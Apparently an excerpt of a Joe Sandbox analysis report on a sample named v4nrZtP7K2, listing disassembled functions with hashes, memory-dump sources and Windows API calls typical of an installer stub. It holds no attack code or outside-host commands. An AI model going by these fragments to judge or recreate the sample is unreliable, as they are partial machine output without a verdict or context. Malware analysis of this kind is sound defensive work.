Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27662b662c658181b0c754906627b8f608531510c02989f5174800423a9e8fd9
Instruction ID: bc247d210571503ff3e8c5d92ceaacd485a1c571fb401ebd0674b198f628d795
Opcode Fuzzy Hash: 27662b662c658181b0c754906627b8f608531510c02989f5174800423a9e8fd9
Instruction Fuzzy Hash: B7C1B074E00218CFEB14DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E85CF11

Function 37605AB8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44b7832cd0ebfe2685605a165623ed9d4d02b00496cc8d09ac27102523f273cb
Instruction ID: 4f55e2a4b0580eb25742c7f9681337705cbdf4c4caac92025545f9d5cf89fc8c
Opcode Fuzzy Hash: 44b7832cd0ebfe2685605a165623ed9d4d02b00496cc8d09ac27102523f273cb
Instruction Fuzzy Hash: 08C1B074E00218CFEB14DFA5D994B9DBBB2BF89310F2080AAD409AB355DB356E81CF15

Function 37602108 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 788377f85c23e02db162acd1986fcb37b20b6ec73a8cb863dfff92ee6c284e52
Instruction ID: 74f068f46fc7c2d1181795bd8683e6e2fdc9bf6aec463cb382b0ade6430762cf
Opcode Fuzzy Hash: 788377f85c23e02db162acd1986fcb37b20b6ec73a8cb863dfff92ee6c284e52
Instruction Fuzzy Hash: 3BC1B174E00218CFEB58DFA5D994B9DBBB2BF89310F2080A9D409AB355DB356E85CF11

Function 376029B8 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15b4bc3231c410666b76135b047a2161ed5cb9345bc9b15fb12e9d6c215acc33
Instruction ID: bc8470f802a3ab455888a3c8539616b178d4c6140056f284f24b5e8bfff02c3f
Opcode Fuzzy Hash: 15b4bc3231c410666b76135b047a2161ed5cb9345bc9b15fb12e9d6c215acc33
Instruction Fuzzy Hash: 10C1B074E00218CFEB54DFA5D994B9DBBB2BF89310F2080A9D409AB365DB356E81CF11

Function 37607070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e7e4d00b0da2c2f011bebcf619180e4ea460c2155550a2f95f328e1ccb0e806
Instruction ID: 0cdd212caed6adef49faa1d88507689f75fb8d907f0aa62dee5930ad86c62d6c
Opcode Fuzzy Hash: 0e7e4d00b0da2c2f011bebcf619180e4ea460c2155550a2f95f328e1ccb0e806
Instruction Fuzzy Hash: F2C1C274E00218CFEB54DFA5D994B9DBBB2BF89300F2080A9D409AB355DB356E85CF51

Function 37601858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd1501148fb0cdc7a5ae4197f128ffbd4f6299998dac605580988e04a305b73e
Instruction ID: 060d0259c2afe30715670dfc79edae8014aee305c70d9b6c0e076a61f8778aab
Opcode Fuzzy Hash: fd1501148fb0cdc7a5ae4197f128ffbd4f6299998dac605580988e04a305b73e
Instruction Fuzzy Hash: 1FC1B274E00218CFDB18DFA5D994B9DBBB2BF89310F5080A9D409AB355DB35AE81CF11

Function 37604820 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7487943bc824d6aaf34e612d9b282a6469db7f5319dfc98ccdba3c8a0aa8cc8d
Instruction ID: c3d3cdac25c16d825b3fc9b40b90b2411ee6bf7b340b934f7f13030539d27b2e
Opcode Fuzzy Hash: 7487943bc824d6aaf34e612d9b282a6469db7f5319dfc98ccdba3c8a0aa8cc8d
Instruction Fuzzy Hash: 55C1B274E00218CFDB14DFA5D994B9DBBB2BF89300F1081A9D409AB365DB356E81CF11

Function 3694C1F2 Relevance: .3, Instructions: 267COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad560270f8d03d075fb73f5eec0192ade0af33f6893ff0857a340e8efefaff8a
Instruction ID: 9a887f04f0f3451d217d90eeecd62fdbd06b6bd8a58c5ecd6bae0b701b5a961e
Opcode Fuzzy Hash: ad560270f8d03d075fb73f5eec0192ade0af33f6893ff0857a340e8efefaff8a
Instruction Fuzzy Hash: B0C1AF74E00218CFEB55DFA5D994B9DBBB2BF89300F6080A9D409AB365DB359E85CF10

Function 3694B4EC Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e2f72029c711278f6f5cb6ee0459cb9f8a478a38e27f12a90bc5cef6ee8cc7ca
Instruction ID: a98ac8ec45aae14e8a4faf07bf1ae3fb0237ad47b6a53f063cb4643fa2129d47
Opcode Fuzzy Hash: e2f72029c711278f6f5cb6ee0459cb9f8a478a38e27f12a90bc5cef6ee8cc7ca
Instruction Fuzzy Hash: 88C1A074E00218CFEB55DFA5D994B9DBBB2BF89310F2080A9D409AB365DB355E85CF10

Function 3694B944 Relevance: .3, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 452f62ec88932c7dab1837bbc4ee73782bdebe1d2c36382b529a9a8ce98e1df5
Instruction ID: d5225c65dd63a77c0cae6f9e52c2758ac03edf8293aac4ce9013c9adaf1a250a
Opcode Fuzzy Hash: 452f62ec88932c7dab1837bbc4ee73782bdebe1d2c36382b529a9a8ce98e1df5
Instruction Fuzzy Hash: 4FC1A074E00218CFEB55DFA5D994B9DBBB2BF89310F2080AAD409AB365DB355E85CF10

Function 3760CBE7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7152c44eb022f9a603cfa3d2506b6ab0f32e4845f0c8ccf1cb2805dcf9857fae
Instruction ID: 9bb4e47d6e5bab2ed3ee6e4820af4b3d9a4db3e09cc07c5e5fce9c3dff8d6e6a
Opcode Fuzzy Hash: 7152c44eb022f9a603cfa3d2506b6ab0f32e4845f0c8ccf1cb2805dcf9857fae
Instruction Fuzzy Hash: CCD09E74D4421C9BDB11DF54DC503ECB7B0BB99310F102495804CA7100D7719E94CE56

Function 0040558F Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 004055ED
GetDlgItem.USER32(?,000003EE), ref: 004055FC
GetClientRect.USER32(?,?), ref: 00405639
GetSystemMetrics.USER32(00000002), ref: 00405640
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405661
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405672
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405685
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00405693
SendMessageW.USER32(?,00001024,00000000,?), ref: 004056A6
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004056C8
ShowWindow.USER32(?,00000008), ref: 004056DC
GetDlgItem.USER32(?,000003EC), ref: 004056FD
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040570D
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405726
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405732
GetDlgItem.USER32(?,000003F8), ref: 0040560B

Part of subcall function 00404394: SendMessageW.USER32(00000028,?,00000001,004041BF), ref: 004043A2

GetDlgItem.USER32(?,000003EC), ref: 0040574F
CreateThread.KERNEL32(00000000,00000000,Function_00005523,00000000), ref: 0040575D
CloseHandle.KERNEL32(00000000), ref: 00405764
ShowWindow.USER32(00000000), ref: 00405788
ShowWindow.USER32(?,00000008), ref: 0040578D
ShowWindow.USER32(00000008), ref: 004057D7
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040580B
CreatePopupMenu.USER32 ref: 0040581C
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405830
GetWindowRect.USER32(?,?), ref: 00405850
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405869
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058A1
OpenClipboard.USER32(00000000), ref: 004058B1
EmptyClipboard.USER32 ref: 004058B7
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004058C3
GlobalLock.KERNEL32(00000000), ref: 004058CD
SendMessageW.USER32(?,00001073,00000000,?), ref: 004058E1
GlobalUnlock.KERNEL32(00000000), ref: 00405901
SetClipboardData.USER32(0000000D,00000000), ref: 0040590C
CloseClipboard.USER32 ref: 00405912

Strings

(7B, xrefs: 0040587D
{, xrefs: 004057F5

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction ID: ef9837d71be30d97cad1ad5ee6bf48d4101bac37d77d0ad6e239d9f51a57dc01
Opcode Fuzzy Hash: f04ab8e6c053f28f703b7489d19dc379b83f29f3476edfbeb8782164aeb73afa
Instruction Fuzzy Hash: C4B16A70900608FFDB11AFA0DD85AAE7B79FB48355F00403AFA45B61A0CB754E52DF68

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346windowstringCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403EC2
ShowWindow.USER32(?), ref: 00403EDF
DestroyWindow.USER32 ref: 00403EF3
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403F0F
GetDlgItem.USER32(?,?), ref: 00403F30
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403F44
IsWindowEnabled.USER32(00000000), ref: 00403F4B
GetDlgItem.USER32(?,00000001), ref: 00403FF9
GetDlgItem.USER32(?,00000002), ref: 00404003
SetClassLongW.USER32(?,000000F2,?), ref: 0040401D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040406E
GetDlgItem.USER32(?,00000003), ref: 00404114
ShowWindow.USER32(00000000,?), ref: 00404135
EnableWindow.USER32(?,?), ref: 00404147
EnableWindow.USER32(?,?), ref: 00404162
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00404178
EnableMenuItem.USER32(00000000), ref: 0040417F
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 00404197
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004041AA
lstrlenW.KERNEL32(00423728,?,00423728,00000000), ref: 004041D4
SetWindowTextW.USER32(?,00423728), ref: 004041E8
ShowWindow.USER32(?,0000000A), ref: 0040431C

Strings

(7B, xrefs: 004041C4

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Window$Item$MessageSend$EnableShow$LongMenu$ClassDestroyEnabledSystemTextlstrlen
String ID: (7B
API String ID: 184305955-3251261122
Opcode ID: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction ID: 1e1a27d6975204c591228116fe5edee23a209105d2649c04e919f1d7e5095d09
Opcode Fuzzy Hash: 030bf1c90a5d59ce14a62ff8eb631d2412c8a49503263f6ef8a14511ced3c4f7
Instruction Fuzzy Hash: 6FC1A2B1644200FBDB216F61EE85D2A3BB8EB94706F40053EFA41B11F1CB7958529B6D

Function 00403AD8 Relevance: 38.7, APIs: 13, Strings: 9, Instructions: 215stringregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 004067C2: GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
Part of subcall function 004067C2: GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

lstrcatW.KERNEL32(00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800,76F93420,00435000,00000000), ref: 00403B59
lstrlenW.KERNEL32(004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,00437800), ref: 00403BD9
lstrcmpiW.KERNEL32(004281D8,.exe,004281E0,?,?,?,004281E0,00000000,00435800,00437000,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403BEC
GetFileAttributesW.KERNEL32(004281E0), ref: 00403BF7
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,00435800), ref: 00403C40

Part of subcall function 0040632F: wsprintfW.USER32 ref: 0040633C

RegisterClassW.USER32(004291E0), ref: 00403C7D
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C95
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403CCA
ShowWindow.USER32(00000005,00000000), ref: 00403D00
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403D2C
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403D39
RegisterClassW.USER32(004291E0), ref: 00403D42
DialogBoxParamW.USER32(?,00000000,00403E86,00000000), ref: 00403D61

Strings

RichEd20, xrefs: 00403D06
_Nb, xrefs: 00403C5C, 00403CC4
RichEdit20W, xrefs: 00403D24, 00403D2A
RichEd32, xrefs: 00403D14
.DEFAULT\Control Panel\International, xrefs: 00403B44
(7B, xrefs: 00403B04
.exe, xrefs: 00403BE6
RichEdit, xrefs: 00403D33
Control Panel\Desktop\ResourceLocale, xrefs: 00403B0C

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$.DEFAULT\Control Panel\International$.exe$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-1425696872
Opcode ID: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction ID: f49b718e50d7a26840138b6048ee10d29e8519d5aa43f5d66e73d4226ad9b376
Opcode Fuzzy Hash: fa642e9f5f159fa40c6df89367760cd7b58c30057714375835671963a1e6ccc9
Instruction Fuzzy Hash: FF61C470204700BBE220AF669E45F2B3A7CEB84B49F40447FF945B22E2DB7D5912C62D

Function 0040451E Relevance: 35.2, APIs: 19, Strings: 1, Instructions: 204windowstringCOMMON

Download Yara Rule

APIs

CheckDlgButton.USER32(?,-0000040A,00000001), ref: 004045BC
GetDlgItem.USER32(?,000003E8), ref: 004045D0
SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004045ED
GetSysColor.USER32(?), ref: 004045FE
SendMessageW.USER32(00000000,00000443,00000000,?), ref: 0040460C
SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 0040461A
lstrlenW.KERNEL32(?), ref: 0040461F
SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040462C
SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 00404641
GetDlgItem.USER32(?,0000040A), ref: 0040469A
SendMessageW.USER32(00000000), ref: 004046A1
GetDlgItem.USER32(?,000003E8), ref: 004046CC
SendMessageW.USER32(00000000,0000044B,00000000,00000201), ref: 0040470F
LoadCursorW.USER32(00000000,00007F02), ref: 0040471D
SetCursor.USER32(00000000), ref: 00404720
LoadCursorW.USER32(00000000,00007F00), ref: 00404739
SetCursor.USER32(00000000), ref: 0040473C
SendMessageW.USER32(00000111,00000001,00000000), ref: 0040476B
SendMessageW.USER32(00000010,00000000,00000000), ref: 0040477D

Strings

N, xrefs: 004046BA

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Cursor$Item$Load$ButtonCheckColorlstrlen
String ID: N
API String ID: 3103080414-1130791706
Opcode ID: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction ID: 26ae409e5f73424340e4bb55f347a499eb46e427c8d4328441e026d38e95c6c2
Opcode Fuzzy Hash: c2d943e7d3074a80d89972f065d7b0d6c6867904808fb573d17a53c74c23d30b
Instruction Fuzzy Hash: 4B6173B1900209BFDB109F60DD85EAA7B69FB84314F00853AFB05772E0D7789D52CB58

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429240,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction ID: b35030fe9107d9a8359b932f7918d2348922827c9ca57aaae851fe5b21190c6b
Opcode Fuzzy Hash: a62f14d8607f0cab4b909ce482175ba86ddefa50def87cd09a38214d4056f576
Instruction Fuzzy Hash: 92418A71800249AFCF058FA5DE459AFBBB9FF44310F00842AF991AA1A0C738E955DFA4

Function 00404850 Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 275stringCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003FB), ref: 0040489F
SetWindowTextW.USER32(00000000,?), ref: 004048C9
SHBrowseForFolderW.SHELL32(?), ref: 0040497A
CoTaskMemFree.OLE32(00000000), ref: 00404985
lstrcmpiW.KERNEL32(004281E0,00423728,00000000,?,?), ref: 004049B7
lstrcatW.KERNEL32(?,004281E0), ref: 004049C3
SetDlgItemTextW.USER32(?,000003FB,?), ref: 004049D5

Part of subcall function 00405A32: GetDlgItemTextW.USER32(?,?,00000400,00404A0C), ref: 00405A45

Part of subcall function 0040667C: CharNextW.USER32(?,*?|<>/":,00000000,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066DF
Part of subcall function 0040667C: CharNextW.USER32(?,?,?,00000000,?,00000006,00000008,0000000A), ref: 004066EE
Part of subcall function 0040667C: CharNextW.USER32(?,00000000,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 004066F3
Part of subcall function 0040667C: CharPrevW.USER32(?,?,00437800,00437800,00435000,00403480,00437800,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00406706

GetDiskFreeSpaceW.KERNEL32(004216F8,?,?,0000040F,?,004216F8,004216F8,?,00000001,004216F8,?,?,000003FB,?), ref: 00404A98
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404AB3

Part of subcall function 00404C0C: lstrlenW.KERNEL32(00423728,00423728,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,?,000000DF,00000000,00000400,?), ref: 00404CAD
Part of subcall function 00404C0C: wsprintfW.USER32 ref: 00404CB6
Part of subcall function 00404C0C: SetDlgItemTextW.USER32(?,00423728), ref: 00404CC9

Strings

A, xrefs: 00404973
(7B, xrefs: 0040494D

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpilstrlenwsprintf
String ID: (7B$A
API String ID: 2624150263-3645020878
Opcode ID: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction ID: 217fbe9c53fcac7a38d38ba6b36a95d3c52d9e466bb1b0d29fe77156d884dce9
Opcode Fuzzy Hash: e24882e00550f6ead3a1036a7d6e943431ff60c63dfc37ca84bce6dbb49f36c9
Instruction Fuzzy Hash: 01A161F1A00205ABDB11EFA5C985AAF77B8EF84315F10803BF611B62D1D77C9A418B6D

Function 00406034 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 130memorystringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,?,00000000,00000001,?,00000000,?,?,004061CF,?,?), ref: 0040606F
GetShortPathNameW.KERNEL32(?,00426DC8,00000400), ref: 00406078

Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
Part of subcall function 00405E43: lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

GetShortPathNameW.KERNEL32(?,004275C8,00000400), ref: 00406095
wsprintfA.USER32 ref: 004060B3
GetFileSize.KERNEL32(00000000,00000000,004275C8,C0000000,00000004,004275C8,?,?,?,?,?), ref: 004060EE
GlobalAlloc.KERNEL32(00000040,0000000A,?,?,?,?), ref: 004060FD
lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00406135
SetFilePointer.KERNEL32(0040A590,00000000,00000000,00000000,00000000,004269C8,00000000,-0000000A,0040A590,00000000,[Rename],00000000,00000000,00000000), ref: 0040618B
GlobalFree.KERNEL32(00000000), ref: 0040619C
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004061A3

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
Part of subcall function 00405EDE: CreateFileW.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405F04

Strings

[Rename], xrefs: 0040611D, 0040612F
%ls=%ls, xrefs: 004060A9

Memory Dump Source

Source File: 00000005.00000002.2915273453.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2915258849.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915290093.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915305201.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2915328833.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]
API String ID: 2171350718-461813615
Opcode ID: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction ID: 8c4bc4cab4d3408e43c29de3b383fd3cef376d344e04ab2aaf2f470794b42cbb
Opcode Fuzzy Hash: 743beb3988d04f7b57c6902fe00ffd967832125f1abdce8c9c4456724f210b8f
Instruction Fuzzy Hash: 34313770200719BFD2206B619D48F6B3A6CEF45704F16043EFA46FA2D3DA3C99158ABD

Function 00402F30 Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 203memoryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00402F44
GetModuleFileNameW.KERNEL32(00000000,00438800,00000400), ref: 00402F60

Part of subcall function 00405EDE: GetFileAttributesW.KERNEL32(00000003,00402F73,00438800,80000000,00000003), ref: 00405EE2
